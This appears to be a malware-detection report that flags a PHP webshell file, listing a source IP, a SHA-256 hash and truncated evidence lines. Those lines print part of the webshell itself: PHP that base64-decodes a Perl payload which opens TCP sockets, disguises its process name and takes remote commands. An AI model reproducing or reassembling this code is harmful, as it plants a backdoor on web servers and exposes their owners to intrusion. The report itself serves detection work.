154.34.28.155WqumnOGH 2EX09hGyTsSYgAAAAM.wso
PHP webshell with encoded payload
php webshell containing base64 encoded payloadCalls PHP base64_decode()
SHA-256583fea9059db017c4d5fd6385c146ae710c92bf83760270f6feba96aca523423
MaleculeH(Db)MdTh
Evidence
1<?php
2$s=base64_decode("IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7IHVzZSBJTzo6U29ja2V0OyB1c2UgSU86OlNlbGVj
3dDsgbXkgQGZwcyA9ICgibWR4ZnMiLCAieGFyZ3N1IiwgInBlcnhnIik7IG15ICRucHMgPSAkZnBz
4W2ludCByYW5kIHNjYWxhciBAZnBzXTsgJDAgPSAkbnBzOyAkfCA9IDE7Cm15ICRld2Jsb2NrID0g
⋯5 lines
39:65… OwpteSAkY2Fj
40aGUgPSB7fTsKbXkgJHJlc2V0X3RpbWUgPSB0aW1lOwpteSAkcmVzZXRfd2FpdCA9IDEyMDsKbXkg
41JHJlc2V0X3N0YXQgPSAwOwpteSAkZmlyc3RfZXhlYyA9IDE7Cm15ICRyZXF1ZXN0X3RpbWUgPSB0
42aW1lOwpteSAkcmVxdWVzdF9mbGFnID0gMTsKbXkgJGNvdW50ZXJfYWRkciA9IDA7Cm15ICRkZXN0
43cm95ID0gc3ViCnsKbXkgKCRvYmplY3QsICRoYW5kbGUpID0gQF87CmlmICgkc2Vzc2lvbi0+eyRo
44YW5kbGV9e3N0YXR1c30gPX4gL15ycy8pCnsKJHJlcXVlc3RfZmxhZyA9IDE7Cn0 …
68:15… pteSAkc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvID0+ICJ0
69Y3AiLCBUeXBlID0+IFNPQ0tfU1RSRUFNKTsKbGFzdCB1bmxlc3MgJHNvY2tldDsKaWYgKCReTyBl
70cSAiTVNXaW4zMiIpIHsgaW9jdGwgKCRzb2NrZXQsIDB4ODAwNDY2N2UsIHBhY2sgKCJMIiwgMSkp
71OyB9IGVsc2UgeyAkc29ja2V0LT5ibG9ja2luZygwKTsgfQp1 …
77:72… vb2R9
78WzBdICsgJGItPnt1bmx1Y2t5fVswXSArICRiLT57YmFkfVswXSkpCnsKJHMtPntjb21tYW5kfSA9
79IDE7CiRzLT57Y29tbWFuZH0gPSAyIGlmICRmaXJzdF9leGVjOwokcmVzZXRfdGltZSA9ICR0aW1l
80ICsgJHJlc2V0X3dhaXQ7CiRyZXNldF9zdGF0ID0gMDsKaWYgKCRjb3VudGVyX2FkZHIpCnsKJHMt
81PntzaXplfSA9IDE2Owokc2Vzc2lvbi0+eyRzb2NrZXR9e2J1ZmZlcn0gLj0gcGFjayAoIkwiLCAk
82Yi0+e2lkfSk7CiRzZXNzaW9uLT57JHNvY2tldH17YnVmZmVyfSAuPSBwYWNrICgiTCIsIC …
583:15… gvXC4vLCAkaG9zdCkpOwpteSAoJHByb3RvY29sLCAkcG9ydCk7CmlmICgkcmVz
584dWx0IGVxICJpcCIpCnsKKCRwcm90b2NvbCwgJHBvcnQpID0gKCJ0Y3AiLCA4MCk7Cn0KZWxzZQp7
585CigkcHJvdG9jb2wsICRwb3J0KSA9ICRyZXN1bHQgPX4gL14odGNwfHVkcCkoXGQrKSQvOwp9CiRh
586ZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsICRhZGRyKTsKbXkg …